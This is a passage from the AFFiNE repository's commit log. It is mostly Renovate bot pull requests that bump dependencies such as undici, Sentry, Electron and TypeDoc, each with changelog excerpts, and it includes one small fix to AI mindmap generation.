-   chore(docs): add request() example for conditionally reading the body by [@&#8203;styfle](https://redirect.github.com/styfle) in [https://github.com/nodejs/undici/pull/3743](https://redirect.github.com/nodejs/undici/pull/3743)
-   fix: dns interceptor ip ttl by [@&#8203;luddd3](https://redirect.github.com/luddd3) in [https://github.com/nodejs/undici/pull/3770](https://redirect.github.com/nodejs/undici/pull/3770)
-   add node v23 workflow by [@&#8203;tsctx](https://redirect.github.com/tsctx) in [https://github.com/nodejs/undici/pull/3780](https://redirect.github.com/nodejs/undici/pull/3780)
-   fix: dns interceptor affinity by [@&#8203;luddd3](https://redirect.github.com/luddd3) in [https://github.com/nodejs/undici/pull/3778](https://redirect.github.com/nodejs/undici/pull/3778)
-   fix aborting Streams by [@&#8203;epistemancering](https://redirect.github.com/epistemancering) in [https://github.com/nodejs/undici/pull/3754](https://redirect.github.com/nodejs/undici/pull/3754)
-   add tests from cookie package by [@&#8203;KhafraDev](https://redirect.github.com/KhafraDev) in [https://github.com/nodejs/undici/pull/3789](https://redirect.github.com/nodejs/undici/pull/3789)
-   disable failing test by [@&#8203;ronag](https://redirect.github.com/ronag) in [https://github.com/nodejs/undici/pull/3782](https://redirect.github.com/nodejs/undici/pull/3782)
-   fix: http2 queueing by [@&#8203;metcoder95](https://redirect.github.com/metcoder95) in [https://github.com/nodejs/undici/pull/3761](https://redirect.github.com/nodejs/undici/pull/3761)
-   test(interceptors): fix dns testing on windows by [@&#8203;metcoder95](https://redirect.github.com/metcoder95) in [https://github.com/nodejs/undici/pull/3793](https://redirect.github.com/nodejs/undici/pull/3793)
-   feat: use resolved ports in dns interceptor by [@&#8203;luddd3](https://redirect.github.com/luddd3) in [https://github.com/nodejs/undici/pull/3786](https://redirect.github.com/nodejs/undici/pull/3786)
-   fix: cache by [@&#8203;ronag](https://redirect.github.com/ronag) in [https://github.com/nodejs/undici/pull/3804](https://redirect.github.com/nodejs/undici/pull/3804)
-   fix: assume blocking unless HEAD by [@&#8203;ronag](https://redirect.github.com/ronag) in [https://github.com/nodejs/undici/pull/3771](https://redirect.github.com/nodejs/undici/pull/3771)
-   chore: use common WASM builder by [@&#8203;mhdawson](https://redirect.github.com/mhdawson) in [https://github.com/nodejs/undici/pull/3791](https://redirect.github.com/nodejs/undici/pull/3791)
-   refactor: silence neostandard import rules error by [@&#8203;jerome-benoit](https://redirect.github.com/jerome-benoit) in [https://github.com/nodejs/undici/pull/3776](https://redirect.github.com/nodejs/undici/pull/3776)
-   build(deps): bump actions/dependency-review-action from 4.3.4 to 4.4.0 by [@&#8203;dependabot](https://redirect.github.com/dependabot) in [https://github.com/nodejs/undici/pull/3797](https://redirect.github.com/nodejs/undici/pull/3797)
-   build(deps): bump github/codeql-action from 3.26.10 to 3.27.0 by [@&#8203;dependabot](https://redirect.github.com/dependabot) in [https://github.com/nodejs/undici/pull/3796](https://redirect.github.com/nodejs/undici/pull/3796)
-   build(deps): bump fastify/github-action-merge-dependabot from 3.10.2 to 3.11.0 by [@&#8203;dependabot](https://redirect.github.com/dependabot) in [https://github.com/nodejs/undici/pull/3795](https://redirect.github.com/nodejs/undici/pull/3795)
-   docs: add example using proxy with fetch by [@&#8203;dancastillo](https://redirect.github.com/dancastillo) in [https://github.com/nodejs/undici/pull/3800](https://redirect.github.com/nodejs/undici/pull/3800)
-   fix: handle Headers in RedirectHandler by [@&#8203;iiAku](https://redirect.github.com/iiAku) in [https://github.com/nodejs/undici/pull/3777](https://redirect.github.com/nodejs/undici/pull/3777)
-   Skip debuglog tests by [@&#8203;mcollina](https://redirect.github.com/mcollina) in [https://github.com/nodejs/undici/pull/3810](https://redirect.github.com/nodejs/undici/pull/3810)
-   build(deps): bump actions/upload-artifact from 4.4.0 to 4.4.3 by [@&#8203;dependabot](https://redirect.github.com/dependabot) in [https://github.com/nodejs/undici/pull/3794](https://redirect.github.com/nodejs/undici/pull/3794)
-   h2: do not emit data after goaway by [@&#8203;mcollina](https://redirect.github.com/mcollina) in [https://github.com/nodejs/undici/pull/3811](https://redirect.github.com/nodejs/undici/pull/3811)
-   fix redirect interceptor with FormData body by [@&#8203;KhafraDev](https://redirect.github.com/KhafraDev) in [https://github.com/nodejs/undici/pull/3815](https://redirect.github.com/nodejs/undici/pull/3815)
-   docs: fix broken links in undici webpage by [@&#8203;dancastillo](https://redirect.github.com/dancastillo) in [https://github.com/nodejs/undici/pull/3807](https://redirect.github.com/nodejs/undici/pull/3807)
-   fix: handle undici Headers and Maps in redirect-handler by [@&#8203;iiAku](https://redirect.github.com/iiAku) in [https://github.com/nodejs/undici/pull/3819](https://redirect.github.com/nodejs/undici/pull/3819)
-   fix: handle undefined deref() of WeakRef(socket) by [@&#8203;hochoy](https://redirect.github.com/hochoy) in [https://github.com/nodejs/undici/pull/3751](https://redirect.github.com/nodejs/undici/pull/3751)
-   build(deps-dev): bump [@&#8203;sinonjs/fake-timers](https://redirect.github.com/sinonjs/fake-timers) from 11.3.1 to 12.0.0 by [@&#8203;dependabot](https://redirect.github.com/dependabot) in [https://github.com/nodejs/undici/pull/3823](https://redirect.github.com/nodejs/undici/pull/3823)
-   fix: range end is zero-indexed by [@&#8203;DTrombett](https://redirect.github.com/DTrombett) in [https://github.com/nodejs/undici/pull/3826](https://redirect.github.com/nodejs/undici/pull/3826)
-   lib: more cache fixes by [@&#8203;flakey5](https://redirect.github.com/flakey5) in [https://github.com/nodejs/undici/pull/3816](https://redirect.github.com/nodejs/undici/pull/3816)
-   fix: cache fixes by [@&#8203;ronag](https://redirect.github.com/ronag) in [https://github.com/nodejs/undici/pull/3830](https://redirect.github.com/nodejs/undici/pull/3830)
-   Headers webidl errors by [@&#8203;KhafraDev](https://redirect.github.com/KhafraDev) in [https://github.com/nodejs/undici/pull/3833](https://redirect.github.com/nodejs/undici/pull/3833)
-   Fix goaway by [@&#8203;mcollina](https://redirect.github.com/mcollina) in [https://github.com/nodejs/undici/pull/3835](https://redirect.github.com/nodejs/undici/pull/3835)
-   refactor: maxEntriesCount by [@&#8203;ronag](https://redirect.github.com/ronag) in [https://github.com/nodejs/undici/pull/3832](https://redirect.github.com/nodejs/undici/pull/3832)
-   Update WPT by [@&#8203;github-actions](https://redirect.github.com/github-actions) in [https://github.com/nodejs/undici/pull/3693](https://redirect.github.com/nodejs/undici/pull/3693)
-   docs: fix broken links by using absolute path by [@&#8203;dancastillo](https://redirect.github.com/dancastillo) in [https://github.com/nodejs/undici/pull/3820](https://redirect.github.com/nodejs/undici/pull/3820)
-   fix: memory store by [@&#8203;ronag](https://redirect.github.com/ronag) in [https://github.com/nodejs/undici/pull/3834](https://redirect.github.com/nodejs/undici/pull/3834)
-   Update Dispatch.md to Dispatcher.md by [@&#8203;bcomnes](https://redirect.github.com/bcomnes) in [https://github.com/nodejs/undici/pull/3839](https://redirect.github.com/nodejs/undici/pull/3839)
-   lib: add `nowAbsolute` to fast timers by [@&#8203;flakey5](https://redirect.github.com/flakey5) in [https://github.com/nodejs/undici/pull/3749](https://redirect.github.com/nodejs/undici/pull/3749)
-   feat: cache etag support by [@&#8203;flakey5](https://redirect.github.com/flakey5) in [https://github.com/nodejs/undici/pull/3758](https://redirect.github.com/nodejs/undici/pull/3758)
-   feat: support request cache control directives by [@&#8203;flakey5](https://redirect.github.com/flakey5) in [https://github.com/nodejs/undici/pull/3658](https://redirect.github.com/nodejs/undici/pull/3658)
-   Bench updates prior to release by [@&#8203;mcollina](https://redirect.github.com/mcollina) in [https://github.com/nodejs/undici/pull/3845](https://redirect.github.com/nodejs/undici/pull/3845)
-   fix([#&#8203;3817](https://redirect.github.com/nodejs/undici/issues/3817)): send servername for SNI on TLS by [@&#8203;metcoder95](https://redirect.github.com/metcoder95) in [https://github.com/nodejs/undici/pull/3821](https://redirect.github.com/nodejs/undici/pull/3821)
-   Revert nowAbsolute, add regression test by [@&#8203;mcollina](https://redirect.github.com/mcollina) in [https://github.com/nodejs/undici/pull/3850](https://redirect.github.com/nodejs/undici/pull/3850)
-   fix: missing error handler by [@&#8203;ronag](https://redirect.github.com/ronag) in [https://github.com/nodejs/undici/pull/3859](https://redirect.github.com/nodejs/undici/pull/3859)
-   fix: 301 and 302 change method to GET by [@&#8203;DTrombett](https://redirect.github.com/DTrombett) in [https://github.com/nodejs/undici/pull/3862](https://redirect.github.com/nodejs/undici/pull/3862)
-   feat: sqlite cache store by [@&#8203;flakey5](https://redirect.github.com/flakey5) in [https://github.com/nodejs/undici/pull/3657](https://redirect.github.com/nodejs/undici/pull/3657)
-   fix: sending formdata bodies with http2 by [@&#8203;KhafraDev](https://redirect.github.com/KhafraDev) in [https://github.com/nodejs/undici/pull/3863](https://redirect.github.com/nodejs/undici/pull/3863)
-   Update return type of RetryCallback by [@&#8203;mqayyuum](https://redirect.github.com/mqayyuum) in [https://github.com/nodejs/undici/pull/3851](https://redirect.github.com/nodejs/undici/pull/3851)
-   fix: cleanup sqlite store by [@&#8203;ronag](https://redirect.github.com/ronag) in [https://github.com/nodejs/undici/pull/3868](https://redirect.github.com/nodejs/undici/pull/3868)
-   refactor: sqlite versioning by [@&#8203;ronag](https://redirect.github.com/ronag) in [https://github.com/nodejs/undici/pull/3870](https://redirect.github.com/nodejs/undici/pull/3870)
-   fix: pass down context in onConnect by [@&#8203;DTrombett](https://redirect.github.com/DTrombett) in [https://github.com/nodejs/undici/pull/3858](https://redirect.github.com/nodejs/undici/pull/3858)
-   fix: cache fixes by [@&#8203;ronag](https://redirect.github.com/ronag) in [https://github.com/nodejs/undici/pull/3871](https://redirect.github.com/nodejs/undici/pull/3871)
-   fix: we can redirect disturbed request body if it's not going to be used by [@&#8203;ronag](https://redirect.github.com/ronag) in [https://github.com/nodejs/undici/pull/3873](https://redirect.github.com/nodejs/undici/pull/3873)
-   perf: only prune if adding new entry by [@&#8203;ronag](https://redirect.github.com/ronag) in [https://github.com/nodejs/undici/pull/3872](https://redirect.github.com/nodejs/undici/pull/3872)
-   fix: Fixed the issue that there is no running request when http2 goaway by [@&#8203;ShenHongFei](https://redirect.github.com/ShenHongFei) in [https://github.com/nodejs/undici/pull/3875](https://redirect.github.com/nodejs/undici/pull/3875)
-   feat: new hooks by [@&#8203;ronag](https://redirect.github.com/ronag) in [https://github.com/nodejs/undici/pull/3878](https://redirect.github.com/nodejs/undici/pull/3878)
-   Multiple fixes for SQLiteStore, enable it in CI by [@&#8203;mcollina](https://redirect.github.com/mcollina) in [https://github.com/nodejs/undici/pull/3881](https://redirect.github.com/nodejs/undici/pull/3881)
-   Update WPT by [@&#8203;github-actions](https://redirect.github.com/github-actions) in [https://github.com/nodejs/undici/pull/3838](https://redirect.github.com/nodejs/undici/pull/3838)
-   cache: fix stale-while-revalidate and stale-if-error by [@&#8203;flakey5](https://redirect.github.com/flakey5) in [https://github.com/nodejs/undici/pull/3865](https://redirect.github.com/nodejs/undici/pull/3865)
-   refactor: port redirect handler to new hooks by [@&#8203;ronag](https://redirect.github.com/ronag) in [https://github.com/nodejs/undici/pull/3879](https://redirect.github.com/nodejs/undici/pull/3879)
-   Drop node v18 by [@&#8203;mcollina](https://redirect.github.com/mcollina) in [https://github.com/nodejs/undici/pull/3880](https://redirect.github.com/nodejs/undici/

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xOS4wIiwidXBkYXRlZEluVmVyIjoiMzkuMTkuMCIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
2024-11-28 03:10:03 +00:00
renovate 6484aef45f chore: bump up all non-major dependencies (#8945)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [@sentry/react](https://redirect.github.com/getsentry/sentry-javascript/tree/master/packages/react) ([source](https://redirect.github.com/getsentry/sentry-javascript)) | [`8.40.0` -> `8.41.0`](https://renovatebot.com/diffs/npm/@sentry%2freact/8.40.0/8.41.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@sentry%2freact/8.41.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@sentry%2freact/8.41.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@sentry%2freact/8.40.0/8.41.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@sentry%2freact/8.40.0/8.41.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@toeverything/theme](https://redirect.github.com/toeverything/design) | [`1.0.19` -> `1.0.21`](https://renovatebot.com/diffs/npm/@toeverything%2ftheme/1.0.19/1.0.21) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@toeverything%2ftheme/1.0.21?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@toeverything%2ftheme/1.0.21?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@toeverything%2ftheme/1.0.19/1.0.21?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@toeverything%2ftheme/1.0.19/1.0.21?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [electron](https://redirect.github.com/electron/electron) | [`33.2.0` -> `33.2.1`](https://renovatebot.com/diffs/npm/electron/33.2.0/33.2.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/electron/33.2.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/electron/33.2.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/electron/33.2.0/33.2.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/electron/33.2.0/33.2.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [happy-dom](https://redirect.github.com/capricorn86/happy-dom) | [`15.11.6` -> `15.11.7`](https://renovatebot.com/diffs/npm/happy-dom/15.11.6/15.11.7) | [![age](https://developer.mend.io/api/mc/badges/age/npm/happy-dom/15.11.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/happy-dom/15.11.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/happy-dom/15.11.6/15.11.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/happy-dom/15.11.6/15.11.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [lucide-react](https://lucide.dev) ([source](https://redirect.github.com/lucide-icons/lucide/tree/HEAD/packages/lucide-react)) | [`^0.461.0` -> `^0.462.0`](https://renovatebot.com/diffs/npm/lucide-react/0.461.0/0.462.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/lucide-react/0.462.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/lucide-react/0.462.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/lucide-react/0.461.0/0.462.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/lucide-react/0.461.0/0.462.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [typedoc](https://typedoc.org) ([source](https://redirect.github.com/TypeStrong/TypeDoc)) | [`0.27.0` -> `0.27.1`](https://renovatebot.com/diffs/npm/typedoc/0.27.0/0.27.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/typedoc/0.27.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/typedoc/0.27.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/typedoc/0.27.0/0.27.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/typedoc/0.27.0/0.27.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>getsentry/sentry-javascript (@&#8203;sentry/react)</summary>

### [`v8.41.0`](https://redirect.github.com/getsentry/sentry-javascript/releases/tag/8.41.0)

[Compare Source](https://redirect.github.com/getsentry/sentry-javascript/compare/8.40.0...8.41.0)

##### Important Changes

-   **meta(nuxt): Require minimum Nuxt v3.7.0 ([#&#8203;14473](https://redirect.github.com/getsentry/sentry-javascript/pull/14473))**

    We formalized that the Nuxt SDK is at minimum compatible with Nuxt version 3.7.0 and above.
    Additionally, the SDK requires the implicit `nitropack` dependency to satisfy version `^2.10.0` and `ofetch` to satisfy `^1.4.0`.
    It is recommended to check your lock-files and manually upgrade these dependencies if they don't match the version ranges.

##### Deprecations

We are deprecating a few APIs which will be removed in the next major.

The following deprecations will *potentially* affect you:

-   **feat(core): Update & deprecate `undefined` option handling ([#&#8203;14450](https://redirect.github.com/getsentry/sentry-javascript/pull/14450))**

    In the next major version we will change how passing `undefined` to `tracesSampleRate` / `tracesSampler` / `enableTracing` will behave.

    Currently, doing the following:

    ```ts
    Sentry.init({
      tracesSampleRate: undefined,
    });
    ```

    Will result in tracing being *enabled* (although no spans will be generated) because the `tracesSampleRate` key is present in the options object.
    In the next major version, this behavior will be changed so that passing `undefined` (or rather having a `tracesSampleRate` key) will result in tracing being disabled, the same as not passing the option at all.
    If you are currently relying on `undefined` being passed, and and thus have tracing enabled, it is recommended to update your config to set e.g. `tracesSampleRate: 0` instead, which will also enable tracing in v9.

    The same applies to `tracesSampler` and `enableTracing`.

-   **feat(core): Log warnings when returning `null` in `beforeSendSpan` ([#&#8203;14433](https://redirect.github.com/getsentry/sentry-javascript/pull/14433))**

    Currently, the `beforeSendSpan` option in `Sentry.init()` allows you to drop individual spans from a trace by returning `null` from the hook.
    Since this API lends itself to creating "gaps" inside traces, we decided to change how this API will work in the next major version.

    With the next major version the `beforeSendSpan` API can only be used to mutate spans, but no longer to drop them.
    With this release the SDK will warn you if you are using this API to drop spans.
    Instead, it is recommended to configure instrumentation (i.e. integrations) directly to control what spans are created.

    Additionally, with the next major version, root spans will also be passed to `beforeSendSpan`.

-   **feat(utils): Deprecate `@sentry/utils` ([#&#8203;14431](https://redirect.github.com/getsentry/sentry-javascript/pull/14431))**

    With the next major version the `@sentry/utils` package will be merged into the `@sentry/core` package.
    It is therefore no longer recommended to use the `@sentry/utils` package.

-   **feat(vue): Deprecate configuring Vue tracing options anywhere else other than through the `vueIntegration`'s `tracingOptions` option ([#&#8203;14385](https://redirect.github.com/getsentry/sentry-javascript/pull/14385))**

    Currently it is possible to configure tracing options in various places in the Sentry Vue SDK:

    -   In `Sentry.init()`
    -   Inside `tracingOptions` in `Sentry.init()`
    -   In the `vueIntegration()` options
    -   Inside `tracingOptions` in the `vueIntegration()` options

    Because this is a bit messy and confusing to document, the only recommended way to configure tracing options going forward is through the `tracingOptions` in the `vueIntegration()`.
    The other means of configuration will be removed in the next major version of the SDK.

-   **feat: Deprecate `registerEsmLoaderHooks.include` and `registerEsmLoaderHooks.exclude` ([#&#8203;14486](https://redirect.github.com/getsentry/sentry-javascript/pull/14486))**

    Currently it is possible to define `registerEsmLoaderHooks.include` and `registerEsmLoaderHooks.exclude` options in `Sentry.init()` to only apply ESM loader hooks to a subset of modules.
    This API served as an escape hatch in case certain modules are incompatible with ESM loader hooks.

    Since this API was introduced, a way was found to only wrap modules that there exists instrumentation for (meaning a vetted list).
    To only wrap modules that have instrumentation, it is recommended to instead set `registerEsmLoaderHooks.onlyIncludeInstrumentedModules` to `true`.

    Note that `onlyIncludeInstrumentedModules: true` will become the default behavior in the next major version and the `registerEsmLoaderHooks` will no longer accept fine-grained options.

The following deprecations will *most likely* not affect you unless you are building an SDK yourself:

-   feat(core): Deprecate `arrayify` ([#&#8203;14405](https://redirect.github.com/getsentry/sentry-javascript/pull/14405))
-   feat(core): Deprecate `flatten` ([#&#8203;14454](https://redirect.github.com/getsentry/sentry-javascript/pull/14454))
-   feat(core): Deprecate `urlEncode` ([#&#8203;14406](https://redirect.github.com/getsentry/sentry-javascript/pull/14406))
-   feat(core): Deprecate `validSeverityLevels` ([#&#8203;14407](https://redirect.github.com/getsentry/sentry-javascript/pull/14407))
-   feat(core/utils): Deprecate `getNumberOfUrlSegments` ([#&#8203;14458](https://redirect.github.com/getsentry/sentry-javascript/pull/14458))
-   feat(utils): Deprecate `memoBuilder`, `BAGGAGE_HEADER_NAME`, and `makeFifoCache` ([#&#8203;14434](https://redirect.github.com/getsentry/sentry-javascript/pull/14434))
-   feat(utils/core): Deprecate `addRequestDataToEvent` and `extractRequestData` ([#&#8203;14430](https://redirect.github.com/getsentry/sentry-javascript/pull/14430))

##### Other Changes

-   feat: Streamline `sentry-trace`, `baggage` and DSC handling ([#&#8203;14364](https://redirect.github.com/getsentry/sentry-javascript/pull/14364))
-   feat(core): Further optimize debug ID parsing ([#&#8203;14365](https://redirect.github.com/getsentry/sentry-javascript/pull/14365))
-   feat(node): Add `openTelemetryInstrumentations` option ([#&#8203;14484](https://redirect.github.com/getsentry/sentry-javascript/pull/14484))
-   feat(nuxt): Add filter for not found source maps (devtools) ([#&#8203;14437](https://redirect.github.com/getsentry/sentry-javascript/pull/14437))
-   feat(nuxt): Only delete public source maps ([#&#8203;14438](https://redirect.github.com/getsentry/sentry-javascript/pull/14438))
-   fix(nextjs): Don't report `NEXT_REDIRECT` from browser ([#&#8203;14440](https://redirect.github.com/getsentry/sentry-javascript/pull/14440))
-   perf(opentelemetry): Bucket spans for cleanup ([#&#8203;14154](https://redirect.github.com/getsentry/sentry-javascript/pull/14154))

Work in this release was contributed by [@&#8203;NEKOYASAN](https://redirect.github.com/NEKOYASAN) and [@&#8203;fmorett](https://redirect.github.com/fmorett). Thank you for your contributions!

#### Bundle size 📦

| Path                                                             | Size              |
| ---------------------------------------------------------------- | ----------------- |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser)                                                  | 23.12 KB  |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser) - with treeshaking flags                         | 21.84 KB  |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser) (incl. Tracing)                                  | 35.53 KB  |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser) (incl. Tracing, Replay)                          | 72.44 KB  |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser) (incl. Tracing, Replay) - with treeshaking flags | 62.81 KB  |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser) (incl. Tracing, Replay with Canvas)              | 76.76 KB  |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser) (incl. Tracing, Replay, Feedback)                | 89.21 KB  |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser) (incl. Feedback)                                 | 39.86 KB  |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser) (incl. sendFeedback)                             | 27.73 KB  |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser) (incl. FeedbackAsync)                            | 32.53 KB  |
| [@&#8203;sentry/react](https://redirect.github.com/sentry/react)                                                    | 25.8 KB   |
| [@&#8203;sentry/react](https://redirect.github.com/sentry/react) (incl. Tracing)                                    | 38.36 KB  |
| [@&#8203;sentry/vue](https://redirect.github.com/sentry/vue)                                                      | 27.28 KB  |
| [@&#8203;sentry/vue](https://redirect.github.com/sentry/vue) (incl. Tracing)                                      | 37.33 KB  |
| [@&#8203;sentry/svelte](https://redirect.github.com/sentry/svelte)                                                   | 23.27 KB  |
| CDN Bundle                                                       | 24.29 KB  |
| CDN Bundle (incl. Tracing)                                       | 37.17 KB  |
| CDN Bundle (incl. Tracing, Replay)                               | 72.06 KB  |
| CDN Bundle (incl. Tracing, Replay, Feedback)                     | 77.41 KB  |
| CDN Bundle - uncompressed                                        | 71.37 KB  |
| CDN Bundle (incl. Tracing) - uncompressed                        | 110.4 KB  |
| CDN Bundle (incl. Tracing, Replay) - uncompressed                | 223.47 KB |
| CDN Bundle (incl. Tracing, Replay, Feedback) - uncompressed      | 236.69 KB |
| [@&#8203;sentry/nextjs](https://redirect.github.com/sentry/nextjs) (client)                                          | 38.68 KB  |
| [@&#8203;sentry/sveltekit](https://redirect.github.com/sentry/sveltekit) (client)                                       | 36.05 KB  |
| [@&#8203;sentry/node](https://redirect.github.com/sentry/node)                                                     | 135.06 KB |
| [@&#8203;sentry/node](https://redirect.github.com/sentry/node) - without tracing                                   | 96.89 KB  |
| [@&#8203;sentry/aws-serverless](https://redirect.github.com/sentry/aws-serverless)                                           | 107.09 KB |

</details>

<details>
<summary>toeverything/design (@&#8203;toeverything/theme)</summary>

### [`v1.0.21`](https://redirect.github.com/toeverything/design/compare/1.0.19...1.0.21)

[Compare Source](https://redirect.github.com/toeverything/design/compare/1.0.19...1.0.21)

</details>

<details>
<summary>electron/electron (electron)</summary>

### [`v33.2.1`](https://redirect.github.com/electron/electron/compare/v33.2.0...v33.2.1)

[Compare Source](https://redirect.github.com/electron/electron/compare/v33.2.0...v33.2.1)

</details>

<details>
<summary>capricorn86/happy-dom (happy-dom)</summary>

### [`v15.11.7`](https://redirect.github.com/capricorn86/happy-dom/compare/v15.11.6...d3566f4b2d4b82b3188d7476f492894534f1cfcb)

[Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v15.11.6...v15.11.7)

</details>

<details>
<summary>lucide-icons/lucide (lucide-react)</summary>

### [`v0.462.0`](https://redirect.github.com/lucide-icons/lucide/releases/tag/0.462.0): New icons 0.462.0

[Compare Source](https://redirect.github.com/lucide-icons/lucide/compare/0.461.0...0.462.0)

#### New icons 🎨

-   `image-upscale` ([#&#8203;2462](https://redirect.github.com/lucide-icons/lucide/issues/2462)) by [@&#8203;jguddas](https://redirect.github.com/jguddas)

#### Modified Icons 🔨

-   `grid-2x2` ([#&#8203;2628](https://redirect.github.com/lucide-icons/lucide/issues/2628)) by [@&#8203;jguddas](https://redirect.github.com/jguddas)
-   `ship` ([#&#8203;2548](https://redirect.github.com/lucide-icons/lucide/issues/2548)) by [@&#8203;jguddas](https://redirect.github.com/jguddas)
-   `shuffle` ([#&#8203;2478](https://redirect.github.com/lucide-icons/lucide/issues/2478)) by [@&#8203;jguddas](https://redirect.github.com/jguddas)
-   `venetian-mask` ([#&#8203;1950](https://redirect.github.com/lucide-icons/lucide/issues/1950)) by [@&#8203;jguddas](https://redirect.github.com/jguddas)

</details>

<details>
<summary>TypeStrong/TypeDoc (typedoc)</summary>

### [`v0.27.1`](https://redirect.github.com/TypeStrong/TypeDoc/blob/HEAD/CHANGELOG.md#v0271-2024-11-28)

[Compare Source](https://redirect.github.com/TypeStrong/TypeDoc/compare/v0.27.0...v0.27.1)

##### Bug Fixes

-   Include classes which inherit from another package in class hierarchy in packages mode, [#&#8203;2467](https://redirect.github.com/TypeStrong/TypeDoc/issues/2467).
-   Fixed handling of `@categoryDescription` and `@groupDescription` on module pages, [#&#8203;2787](https://redirect.github.com/TypeStrong/TypeDoc/issues/2787).
-   Fixed automatic discovery of entry points in packages mode.
-   Reverted accidental style change for hierarchy page introduced in 0.27.0
-   The hierarchy Expand/Collapse link will now only appear if the hierarchies are different.

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

👻 **Immortal**: This PR will be recreated if closed unmerged. Get [config help](https://redirect.github.com/renovatebot/renovate/discussions) if that's undesired.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xOS4wIiwidXBkYXRlZEluVmVyIjoiMzkuMTkuMCIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
2024-11-28 02:53:34 +00:00
akumatus d2eef768ba fix: ai generation of mindmap fail from note text context (#8952)
Fix issue [AF-1632](https://linear.app/affine-design/issue/AF-1632).

### What Changed?
- Keep the note selection and do not set the widget tool to copilot if asking AI from selection in a note in edgeless mode.
- Remove `content` from `AIImageActionOptions`, using `input` as AI context like other actions.
2024-11-28 02:35:06 +00:00
renovate 3c4e70a8c3 chore: bump up nestjs to v10.4.11 (#8946)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
